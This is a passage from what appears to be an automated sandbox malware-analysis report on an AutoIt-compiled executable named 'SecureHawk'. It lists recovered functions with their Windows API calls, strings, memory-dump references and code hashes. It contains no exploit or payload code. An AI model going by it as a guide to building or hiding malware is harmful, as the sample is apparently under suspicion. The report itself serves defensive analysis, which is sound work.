CreateWindowExW.USER32(00000000,edit,00000000,50B008C4,00000000,00000000,00000000,00000000,00000000,00000001,00000000), ref: 0030512A
ShowWindow.USER32(00000000), ref: 0030513E
ShowWindow.USER32(00000000), ref: 00305147

Strings

edit, xrefs: 00305124
AutoIt v3, xrefs: 00305101, 00305106, 00305107

Memory Dump Source

Source File: 00000011.00000002.3983023575.00000000002F1000.00000020.00000001.01000000.00000008.sdmp, Offset: 002F0000, based on PE: true

Associated: 00000011.00000002.3982980735.00000000002F0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000011.00000002.3983148572.0000000000380000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000011.00000002.3983148572.00000000003A5000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000011.00000002.3983254549.00000000003AF000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000011.00000002.3983285511.00000000003B8000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_2f0000_SecureHawk.jbxd

Similarity

API ID: Window$CreateShow
String ID: AutoIt v3$edit
API String ID: 1584632944-3779509399
Opcode ID: a0981d9beea0d8dbed9009f64627fc6a4d66c63701ab5c5bae93fbe615f78919
Instruction ID: dda9e0750bd1e4169ce8e86aa09d922c9319b2ef060462bee5e4b4c696dd1c42
Opcode Fuzzy Hash: a0981d9beea0d8dbed9009f64627fc6a4d66c63701ab5c5bae93fbe615f78919
Instruction Fuzzy Hash: 3DF030706403907EFA3317236C09E372E7DD7C6F14F000659BA00A6271C6A91800CAB0

Function 00359983 Relevance: 8.9, APIs: 4, Strings: 1, Instructions: 155COMMON

Download Yara Rule

APIs

Part of subcall function 00304A8C: _fseek.LIBCMT ref: 00304AA4

Part of subcall function 00359B5E: _wcscmp.LIBCMT ref: 00359C4E
Part of subcall function 00359B5E: _wcscmp.LIBCMT ref: 00359C61

_free.LIBCMT ref: 00359ACC
_free.LIBCMT ref: 00359AD3
_free.LIBCMT ref: 00359B3E

Part of subcall function 00312EB5: RtlFreeHeap.NTDLL(00000000,00000000,?,00319B84,00000000,00318C8D,003158F3,?), ref: 00312EC9
Part of subcall function 00312EB5: GetLastError.KERNEL32(00000000,?,00319B84,00000000,00318C8D,003158F3,?), ref: 00312EDB

_free.LIBCMT ref: 00359B46

Strings

>>>AUTOIT SCRIPT<<<, xrefs: 003599FC

Memory Dump Source

Source File: 00000011.00000002.3983023575.00000000002F1000.00000020.00000001.01000000.00000008.sdmp, Offset: 002F0000, based on PE: true

Associated: 00000011.00000002.3982980735.00000000002F0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000011.00000002.3983148572.0000000000380000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000011.00000002.3983148572.00000000003A5000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000011.00000002.3983254549.00000000003AF000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000011.00000002.3983285511.00000000003B8000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_2f0000_SecureHawk.jbxd

Similarity

API ID: _free$_wcscmp$ErrorFreeHeapLast_fseek
String ID: >>>AUTOIT SCRIPT<<<
API String ID: 1552873950-2806939583
Opcode ID: c2851a764345a8ea5923c75ec6552a439da3f9bf500a6b24690c76ca801ae871
Instruction ID: a7ec907232f98b45b69480b79516badae6df8550ca1b4e0e739d95074705324c
Opcode Fuzzy Hash: c2851a764345a8ea5923c75ec6552a439da3f9bf500a6b24690c76ca801ae871
Instruction Fuzzy Hash: 91513DB1E04218ABDF25DF64DC41B9EBBB9FF48300F00049EB649A7291DB715A948F58

Function 00310F16 Relevance: 8.8, APIs: 2, Strings: 3, Instructions: 44COMMONLIBRARYCODE

Download Yara Rule

APIs

Part of subcall function 0031586C: __FF_MSGBANNER.LIBCMT ref: 00315883
Part of subcall function 0031586C: __NMSG_WRITE.LIBCMT ref: 0031588A
Part of subcall function 0031586C: RtlAllocateHeap.NTDLL(01220000,00000000,00000001,?,?,?,?,00310F33,?,0000FFFF), ref: 003158AF

std::exception::exception.LIBCMT ref: 00310F4C
__CxxThrowException@8.LIBCMT ref: 00310F61

Part of subcall function 003186FB: RaiseException.KERNEL32(?,?,0000FFFF,003AAE78,?,?,?,?,?,00310F66,0000FFFF,003AAE78,?,00000001), ref: 00318750

Strings

`=8, xrefs: 00310F59
`=8, xrefs: 00310F56, 00310F49
h=8, xrefs: 00310F41

Memory Dump Source

Source File: 00000011.00000002.3983023575.00000000002F1000.00000020.00000001.01000000.00000008.sdmp, Offset: 002F0000, based on PE: true

Associated: 00000011.00000002.3982980735.00000000002F0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000011.00000002.3983148572.0000000000380000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000011.00000002.3983148572.00000000003A5000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000011.00000002.3983254549.00000000003AF000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000011.00000002.3983285511.00000000003B8000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_2f0000_SecureHawk.jbxd

Similarity

API ID: AllocateExceptionException@8HeapRaiseThrowstd::exception::exception
String ID: `=8$`=8$h=8
API String ID: 3902256705-3354843450
Opcode ID: ed667be194e2babee8ba9678821c9e8b833f285ff34641d17063de8e1330fb9d
Instruction ID: 2fcee4dbacd7253b88f17ec70ed221842250970c81c1e87a47ac9dae45694025
Opcode Fuzzy Hash: ed667be194e2babee8ba9678821c9e8b833f285ff34641d17063de8e1330fb9d
Instruction Fuzzy Hash: 6CF0F43550420D62CB2FBB68DC029DE7BAC9F09710F000066FD049A282EFB08BD5C2D4

Function 0031556D Relevance: 7.7, APIs: 5, Instructions: 163COMMONLIBRARYCODE

Download Yara Rule

APIs

_memset.LIBCMT ref: 003155CB
_memcpy_s.LIBCMT ref: 0031563D
__read_nolock.LIBCMT ref: 0031569B
__filbuf.LIBCMT ref: 003156BE
_memset.LIBCMT ref: 00315702

Part of subcall function 00318C88: __getptd_noexit.LIBCMT ref: 00318C88

Memory Dump Source

Source File: 00000011.00000002.3983023575.00000000002F1000.00000020.00000001.01000000.00000008.sdmp, Offset: 002F0000, based on PE: true

Associated: 00000011.00000002.3982980735.00000000002F0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000011.00000002.3983148572.0000000000380000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000011.00000002.3983148572.00000000003A5000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000011.00000002.3983254549.00000000003AF000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000011.00000002.3983285511.00000000003B8000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_2f0000_SecureHawk.jbxd

Similarity

API ID: _memset$__filbuf__getptd_noexit__read_nolock_memcpy_s
String ID:
API String ID: 1559183368-0
Opcode ID: 6144165ff69bcfd719b70aa37aa99b766954ae34ab2424f86f42b6890169cbb7
Instruction ID: c0ed50ce22b6648ec56bca86439c878d782e9282a6dbaa4f40acc08ee015360d
Opcode Fuzzy Hash: 6144165ff69bcfd719b70aa37aa99b766954ae34ab2424f86f42b6890169cbb7
Instruction Fuzzy Hash: 6051B770A00B05DBDF2E9F69C8805EE77B6AF89320F258729F835966D1D7709DD18B80

Function 002F52B0 Relevance: 7.6, APIs: 5, Instructions: 99windowCOMMON

Download Yara Rule

APIs

PeekMessageW.USER32(?,00000000,00000000,00000000,00000001), ref: 002F52E6
PeekMessageW.USER32(?,00000000,00000000,00000000,00000001), ref: 002F534A
TranslateMessage.USER32(?), ref: 002F5356
DispatchMessageW.USER32(?), ref: 002F5360

Memory Dump Source

Source File: 00000011.00000002.3983023575.00000000002F1000.00000020.00000001.01000000.00000008.sdmp, Offset: 002F0000, based on PE: true

Associated: 00000011.00000002.3982980735.00000000002F0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000011.00000002.3983148572.0000000000380000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000011.00000002.3983148572.00000000003A5000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000011.00000002.3983254549.00000000003AF000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000011.00000002.3983285511.00000000003B8000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_2f0000_SecureHawk.jbxd

Similarity

API ID: Message$Peek$DispatchTranslate
String ID:
API String ID: 1795658109-0
Opcode ID: c24566aea2e207f6da547a43f54a896ebee8832102472b7894a93f69d127e12d
Instruction ID: 084d8144a7905ec1d58b8eee5d83d0102831a06b6b3b1bf73a2ca8ebacad1aae
Opcode Fuzzy Hash: c24566aea2e207f6da547a43f54a896ebee8832102472b7894a93f69d127e12d
Instruction Fuzzy Hash: 3E31267092071A9BEB32CF689C45BB9B7ACAF11388F1101B9E7118B1D2D7F4A898D711

Function 002F1284 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 59registryCOMMON

Download Yara Rule

APIs

RegOpenKeyExW.KERNEL32(80000001,Control Panel\Mouse,00000000,00000001,00000000,?,?,80000001,80000001,?,002F1275,SwapMouseButtons,00000004,?), ref: 002F12A8
RegQueryValueExW.KERNEL32(00000000,00000000,00000000,00000000,?,?,?,?,?,80000001,80000001,?,002F1275,SwapMouseButtons,00000004,?), ref: 002F12C9
RegCloseKey.KERNEL32(00000000,?,?,?,80000001,80000001,?,002F1275,SwapMouseButtons,00000004,?), ref: 002F12EB

Strings

Control Panel\Mouse, xrefs: 002F12A6

Memory Dump Source

Source File: 00000011.00000002.3983023575.00000000002F1000.00000020.00000001.01000000.00000008.sdmp, Offset: 002F0000, based on PE: true

Associated: 00000011.00000002.3982980735.00000000002F0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000011.00000002.3983148572.0000000000380000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000011.00000002.3983148572.00000000003A5000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000011.00000002.3983254549.00000000003AF000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000011.00000002.3983285511.00000000003B8000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_2f0000_SecureHawk.jbxd

Similarity

API ID: CloseOpenQueryValue
String ID: Control Panel\Mouse
API String ID: 3677997916-824357125
Opcode ID: 15fb13ba01add451bed958c3902c3bac9030fb0db5b0d94e55fafd794cd8b162
Instruction ID: 9fd6a9118d3f5f6b66d73383af7dc2e0648c98a0432a82f4917963043f45e953
Opcode Fuzzy Hash: 15fb13ba01add451bed958c3902c3bac9030fb0db5b0d94e55fafd794cd8b162
Instruction Fuzzy Hash: B41148B1A2021CFFDB218FA4DC84ABEBBACEF04784F5045A9E905D7110D3719E6497A0

Function 00353FB5 Relevance: 6.1, APIs: 4, Instructions: 85processCOMMON

Download Yara Rule

APIs

CreateToolhelp32Snapshot.KERNEL32 ref: 00353FDA
Process32FirstW.KERNEL32(00000000,?), ref: 00353FE8
Process32NextW.KERNEL32(00000000,?), ref: 00354008
CloseHandle.KERNEL32(00000000), ref: 003540B2

Memory Dump Source

Source File: 00000011.00000002.3983023575.00000000002F1000.00000020.00000001.01000000.00000008.sdmp, Offset: 002F0000, based on PE: true

Associated: 00000011.00000002.3982980735.00000000002F0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000011.00000002.3983148572.0000000000380000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000011.00000002.3983148572.00000000003A5000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000011.00000002.3983254549.00000000003AF000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000011.00000002.3983285511.00000000003B8000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_2f0000_SecureHawk.jbxd

Similarity

API ID: Process32$CloseCreateFirstHandleNextSnapshotToolhelp32
String ID:
API String ID: 420147892-0
Opcode ID: 73f323ee8c41d1923d6f89c2de12f2752b0c9311ab9c1ecb6a0e7f8011171cbc
Instruction ID: 8a6f53b7fcd8fda069512613be3598d7776e60f92964cc13a1657e64d77d85bd
Opcode Fuzzy Hash: 73f323ee8c41d1923d6f89c2de12f2752b0c9311ab9c1ecb6a0e7f8011171cbc
Instruction Fuzzy Hash: 933171711083019BD30AEF50C895EAFBBE8AF95354F50092DF985871E1EB71E989CB52

Function 00305B29 Relevance: 6.1, APIs: 4, Instructions: 66timewindowCOMMON

Download Yara Rule

APIs

_memset.LIBCMT ref: 00305B58

Part of subcall function 003056F8: _memset.LIBCMT ref: 00305787
Part of subcall function 003056F8: _wcscpy.LIBCMT ref: 003057DB
Part of subcall function 003056F8: Shell_NotifyIconW.SHELL32(00000001,000003A8), ref: 003057EB

KillTimer.USER32(?,00000001,?,?), ref: 00305BAD
SetTimer.USER32(?,00000001,000002EE,00000000), ref: 00305BBC
Shell_NotifyIconW.SHELL32(00000001,000003A8), ref: 00340CFC

Memory Dump Source

Source File: 00000011.00000002.3983023575.00000000002F1000.00000020.00000001.01000000.00000008.sdmp, Offset: 002F0000, based on PE: true

Associated: 00000011.00000002.3982980735.00000000002F0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000011.00000002.3983148572.0000000000380000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000011.00000002.3983148572.00000000003A5000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000011.00000002.3983254549.00000000003AF000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000011.00000002.3983285511.00000000003B8000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_2f0000_SecureHawk.jbxd

Similarity

API ID: IconNotifyShell_Timer_memset$Kill_wcscpy
String ID:
API String ID: 1378193009-0
Opcode ID: 1e70043ef10145ece8b288465d35a6b8d028b417f0a1e5866f66efa6f4709a9f
Instruction ID: e498ef87d95cc3e47e12c336f1a7603254dc641b3baa559ca06ecefd05801bf8
Opcode Fuzzy Hash: 1e70043ef10145ece8b288465d35a6b8d028b417f0a1e5866f66efa6f4709a9f
Instruction Fuzzy Hash: 40218070A05784AFE7778B248895BEBBBECAF01308F04059DE69A5A181C3743989CB51

Function 0030278A Relevance: 5.5, APIs: 2, Strings: 1, Instructions: 260COMMON

Download Yara Rule

APIs

Part of subcall function 003049C2: LoadLibraryExW.KERNEL32(?,00000000,00000002,?,?,003027AF,?,00000001), ref: 003049F4

_free.LIBCMT ref: 0033FA84
_free.LIBCMT ref: 0033FACB

Part of subcall function 003029BE: SetCurrentDirectoryW.KERNEL32(?,?,?,?,00000000), ref: 00302ADF

Strings

Bad directive syntax error, xrefs: 0033FAB3

Memory Dump Source

Source File: 00000011.00000002.3983023575.00000000002F1000.00000020.00000001.01000000.00000008.sdmp, Offset: 002F0000, based on PE: true

Associated: 00000011.00000002.3982980735.00000000002F0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000011.00000002.3983148572.0000000000380000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000011.00000002.3983148572.00000000003A5000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000011.00000002.3983254549.00000000003AF000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000011.00000002.3983285511.00000000003B8000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_2f0000_SecureHawk.jbxd

Similarity

API ID: _free$CurrentDirectoryLibraryLoad
String ID: Bad directive syntax error
API String ID: 2861923089-2118420937
Opcode ID: 5baf4c8cb6d84b287170b166cb4d6daecd2cf2e87039648c496d13d3806c976b
Instruction ID: 251afa359632ae99a0c9b11cf9b09a7581b54b9528b3ab983d532a437fa4d785
Opcode Fuzzy Hash: 5baf4c8cb6d84b287170b166cb4d6daecd2cf2e87039648c496d13d3806c976b
Instruction Fuzzy Hash: C6916F71D10219AFCF1AEFA4D8919EEB7B8FF09310F54446AF815AF2A1DB309A45CB50

Function 003048B0 Relevance: 5.4, APIs: 1, Strings: 2, Instructions: 141COMMON

Download Yara Rule

APIs

_memmove.LIBCMT ref: 003048FA

Strings

EA06, xrefs: 00340821
AU3! ?8, xrefs: 003048F4

Memory Dump Source

Source File: 00000011.00000002.3983023575.00000000002F1000.00000020.00000001.01000000.00000008.sdmp, Offset: 002F0000, based on PE: true

Associated: 00000011.00000002.3982980735.00000000002F0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000011.00000002.3983148572.0000000000380000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000011.00000002.3983148572.00000000003A5000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000011.00000002.3983254549.00000000003AF000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000011.00000002.3983285511.00000000003B8000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_2f0000_SecureHawk.jbxd

Similarity

API ID: _memmove
String ID: AU3! ?8$EA06
API String ID: 4104443479-2045752374
Opcode ID: ef4273c6c04c373f47991fcf4bd91078b94d76e2230c4773a291c87de9ec0ed9
Instruction ID: 431e64ee39433553c74309b50560027e7ea25d32f10ca1038e91c07a3175aef1
Opcode Fuzzy Hash: ef4273c6c04c373f47991fcf4bd91078b94d76e2230c4773a291c87de9ec0ed9
Instruction Fuzzy Hash: 65418BA1A051585BDF278B6488B17BF7FA58B45310F140075EB82EE2C2C7306F8487A2

Function 00359B5E Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 138COMMON

Download Yara Rule

APIs

Part of subcall function 00304AB2: __fread_nolock.LIBCMT ref: 00304AD0

_wcscmp.LIBCMT ref: 00359C4E
_wcscmp.LIBCMT ref: 00359C61

Strings

FILE, xrefs: 00359B9A

Memory Dump Source

Source File: 00000011.00000002.3983023575.00000000002F1000.00000020.00000001.01000000.00000008.sdmp, Offset: 002F0000, based on PE: true

Associated: 00000011.00000002.3982980735.00000000002F0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000011.00000002.3983148572.0000000000380000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000011.00000002.3983148572.00000000003A5000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000011.00000002.3983254549.00000000003AF000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000011.00000002.3983285511.00000000003B8000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_2f0000_SecureHawk.jbxd

Similarity

API ID: _wcscmp$__fread_nolock
String ID: FILE
API String ID: 4029003684-3121273764
Opcode ID: 063bd8df9fc222d92868d9ce15bbce4ac6ac653adac309ef69605683a6861c0b
Instruction ID: 644c5bed53e2678f2895d7b6e7af29cbd12bffe7523245e77656e8eb29e4b31c
Opcode Fuzzy Hash: 063bd8df9fc222d92868d9ce15bbce4ac6ac653adac309ef69605683a6861c0b
Instruction Fuzzy Hash: DC41D971A40219BADF229FA0DC45FEFBBFDDF45710F01046AFA00BB291D6719A4487A5

Function 003031BF Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 65COMMON

Download Yara Rule

APIs

_memset.LIBCMT ref: 003402AB
GetOpenFileNameW.COMDLG32(?), ref: 003402F5

Part of subcall function 003101AF: GetFullPathNameW.KERNEL32(?,00007FFF,?,00000000,?,?,00302A58,?,00008000), ref: 003101CF

Part of subcall function 003108F0: GetLongPathNameW.KERNEL32(?,?,00007FFF), ref: 0031090F

Strings

X, xrefs: 003402C3

Memory Dump Source

Source File: 00000011.00000002.3983023575.00000000002F1000.00000020.00000001.01000000.00000008.sdmp, Offset: 002F0000, based on PE: true

Associated: 00000011.00000002.3982980735.00000000002F0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000011.00000002.3983148572.0000000000380000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000011.00000002.3983148572.00000000003A5000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000011.00000002.3983254549.00000000003AF000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000011.00000002.3983285511.00000000003B8000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_2f0000_SecureHawk.jbxd

Similarity

API ID: Name$Path$FileFullLongOpen_memset
String ID: X
API String ID: 3777226403-3081909835
Opcode ID: 797216ba2ef812936d4b24d769c9f1164b35ed7318a9d264b61fe571856f3c50
Instruction ID: 17a3590306ea34648904b39e0b4626e5a59e5a9fc01a2014163521f6c70f9df1
Opcode Fuzzy Hash: 797216ba2ef812936d4b24d769c9f1164b35ed7318a9d264b61fe571856f3c50
Instruction Fuzzy Hash: 8621A170A05288ABDF469FD4C845BEE7BFC9F49304F00405AE404BB281DBF45A89CF91

Function 0036CF8E Relevance: 4.9, APIs: 3, Instructions: 392COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000011.00000002.3983023575.00000000002F1000.00000020.00000001.01000000.00000008.sdmp, Offset: 002F0000, based on PE: true

Associated: 00000011.00000002.3982980735.00000000002F0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000011.00000002.3983148572.0000000000380000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000011.00000002.3983148572.00000000003A5000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000011.00000002.3983254549.00000000003AF000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000011.00000002.3983285511.00000000003B8000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_2f0000_SecureHawk.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 7f0abdde782f07ba836ac90efbc34556d3964990c384d91e0aa07dc9d24722af
Instruction ID: 6cd1f2ca13855d115d1cf2b23e0d503a5114ed3890207bfd2b11dfc9b40e4d25
Opcode Fuzzy Hash: 7f0abdde782f07ba836ac90efbc34556d3964990c384d91e0aa07dc9d24722af
Instruction Fuzzy Hash: 74F145B0A083019FC715DF29C484A6ABBE5FF88314F14892EF9999B355DB70E945CF82

Function 003059D3 Relevance: 4.6, APIs: 3, Instructions: 77windowCOMMON

Download Yara Rule

APIs

_memset.LIBCMT ref: 003059F9
Shell_NotifyIconW.SHELL32(00000000,?), ref: 00305A9E
Shell_NotifyIconW.SHELL32(00000001,?), ref: 00305ABB

Memory Dump Source

Source File: 00000011.00000002.3983023575.00000000002F1000.00000020.00000001.01000000.00000008.sdmp, Offset: 002F0000, based on PE: true

Associated: 00000011.00000002.3982980735.00000000002F0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000011.00000002.3983148572.0000000000380000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000011.00000002.3983148572.00000000003A5000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000011.00000002.3983254549.00000000003AF000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000011.00000002.3983285511.00000000003B8000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_2f0000_SecureHawk.jbxd

Similarity

API ID: IconNotifyShell_$_memset
String ID:
API String ID: 1505330794-0
Opcode ID: ca61aa925d7d6d3a42cf4f07d9ed3c23a9261d9664823468a2017469e15de2c5
Instruction ID: e2e3757accbf10363ee7ae9500c05b37d01e9276ac8324be6dd74d39160ec8b2
Opcode Fuzzy Hash: ca61aa925d7d6d3a42cf4f07d9ed3c23a9261d9664823468a2017469e15de2c5
Instruction Fuzzy Hash: 6E3173B06057018FD767DF24D895697BBF8FB48308F000E2EE69A8B291D775A948CF52

Function 0031586C Relevance: 4.6, APIs: 3, Instructions: 59memoryCOMMONLIBRARYCODE

Download Yara Rule

APIs

__FF_MSGBANNER.LIBCMT ref: 00315883

Part of subcall function 0031A2CB: __NMSG_WRITE.LIBCMT ref: 0031A2F2
Part of subcall function 0031A2CB: __NMSG_WRITE.LIBCMT ref: 0031A2FC

__NMSG_WRITE.LIBCMT ref: 0031588A

Part of subcall function 0031A328: GetModuleFileNameW.KERNEL32(00000000,003B43BA,00000104,?,00000001,00310F33), ref: 0031A3BA
Part of subcall function 0031A328: ___crtMessageBoxW.LIBCMT ref: 0031A468

Part of subcall function 00313201: ___crtCorExitProcess.LIBCMT ref: 00313207
Part of subcall function 00313201: ExitProcess.KERNEL32 ref: 00313210

Part of subcall function 00318C88: __getptd_noexit.LIBCMT ref: 00318C88

RtlAllocateHeap.NTDLL(01220000,00000000,00000001,?,?,?,?,00310F33,?,0000FFFF), ref: 003158AF

Memory Dump Source

Source File: 00000011.00000002.3983023575.00000000002F1000.00000020.00000001.01000000.00000008.sdmp, Offset: 002F0000, based on PE: true

Associated: 00000011.00000002.3982980735.00000000002F0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000011.00000002.3983148572.0000000000380000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000011.00000002.3983148572.00000000003A5000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000011.00000002.3983254549.00000000003AF000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000011.00000002.3983285511.00000000003B8000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_2f0000_SecureHawk.jbxd

Similarity

API ID: ExitProcess___crt$AllocateFileHeapMessageModuleName__getptd_noexit
String ID:
API String ID: 1372826849-0
Opcode ID: 1849904a438b597f9bc7fe7531681934fda15882a0098eafb3ef98f3977d0c18
Instruction ID: 4ce98c03e17b9561bbaf1ae24eb21246471e8cdc43e9bf1fb739ae422cf60783
Opcode Fuzzy Hash: 1849904a438b597f9bc7fe7531681934fda15882a0098eafb3ef98f3977d0c18
Instruction Fuzzy Hash: EA01DE36341B11DADA1F2764EC02AEB629CDFCE721F210526F511AE682DE709CC143A5

Function 00359135 Relevance: 4.5, APIs: 3, Instructions: 22COMMON

Download Yara Rule

APIs

_free.LIBCMT ref: 00359143

Part of subcall function 00312EB5: RtlFreeHeap.NTDLL(00000000,00000000,?,00319B84,00000000,00318C8D,003158F3,?), ref: 00312EC9
Part of subcall function 00312EB5: GetLastError.KERNEL32(00000000,?,00319B84,00000000,00318C8D,003158F3,?), ref: 00312EDB

_free.LIBCMT ref: 00359154
_free.LIBCMT ref: 00359166

Memory Dump Source

Source File: 00000011.00000002.3983023575.00000000002F1000.00000020.00000001.01000000.00000008.sdmp, Offset: 002F0000, based on PE: true

Associated: 00000011.00000002.3982980735.00000000002F0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000011.00000002.3983148572.0000000000380000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000011.00000002.3983148572.00000000003A5000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000011.00000002.3983254549.00000000003AF000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000011.00000002.3983285511.00000000003B8000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_2f0000_SecureHawk.jbxd

Similarity

API ID: _free$ErrorFreeHeapLast
String ID:
API String ID: 776569668-0
Opcode ID: 144f5af94d943480d36d389951f06cd61afa83af8249d10b620ede2dc82f263b
Instruction ID: 9e1e332f255cc3c8de4b664b6fd25eda136b4e33b09a41f15d2a7a73cb9a9ceb
Opcode Fuzzy Hash: 144f5af94d943480d36d389951f06cd61afa83af8249d10b620ede2dc82f263b
Instruction Fuzzy Hash: 6BE012A1A02A1282CA296578B944FD313DC5F4C752715041EBD0ADB342CE34E9958574

Function 0035708E Relevance: 4.5, APIs: 3, Instructions: 21COMMON

Download Yara Rule

APIs

GetCurrentProcess.KERNEL32(0000002C,00000000,?,00000002,00000000,?,00356E83,00000000,?,00356F77,00000000,00000000,00332E79), ref: 003570A4
GetCurrentProcess.KERNEL32(?,00000000,?,00356E83,00000000,?,00356F77,00000000,00000000,00332E79), ref: 003570AC
DuplicateHandle.KERNELBASE(00000000,?,00356E83,00000000,?,00356F77,00000000,00000000,00332E79), ref: 003570B3

Memory Dump Source

Source File: 00000011.00000002.3983023575.00000000002F1000.00000020.00000001.01000000.00000008.sdmp, Offset: 002F0000, based on PE: true

Associated: 00000011.00000002.3982980735.00000000002F0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000011.00000002.3983148572.0000000000380000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000011.00000002.3983148572.00000000003A5000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000011.00000002.3983254549.00000000003AF000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000011.00000002.3983285511.00000000003B8000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_2f0000_SecureHawk.jbxd

Similarity

API ID: CurrentProcess$DuplicateHandle
String ID:
API String ID: 1294930198-0
Opcode ID: 4e9e50caf9dd3ff200725611307e209bbaaadbc00c990a6c4afc2dffb434cf3c
Instruction ID: 848ea3c55f6ffdd21de1f46695696081d11bc346f7fd5f2264eba9c5a44457dc
Opcode Fuzzy Hash: 4e9e50caf9dd3ff200725611307e209bbaaadbc00c990a6c4afc2dffb434cf3c
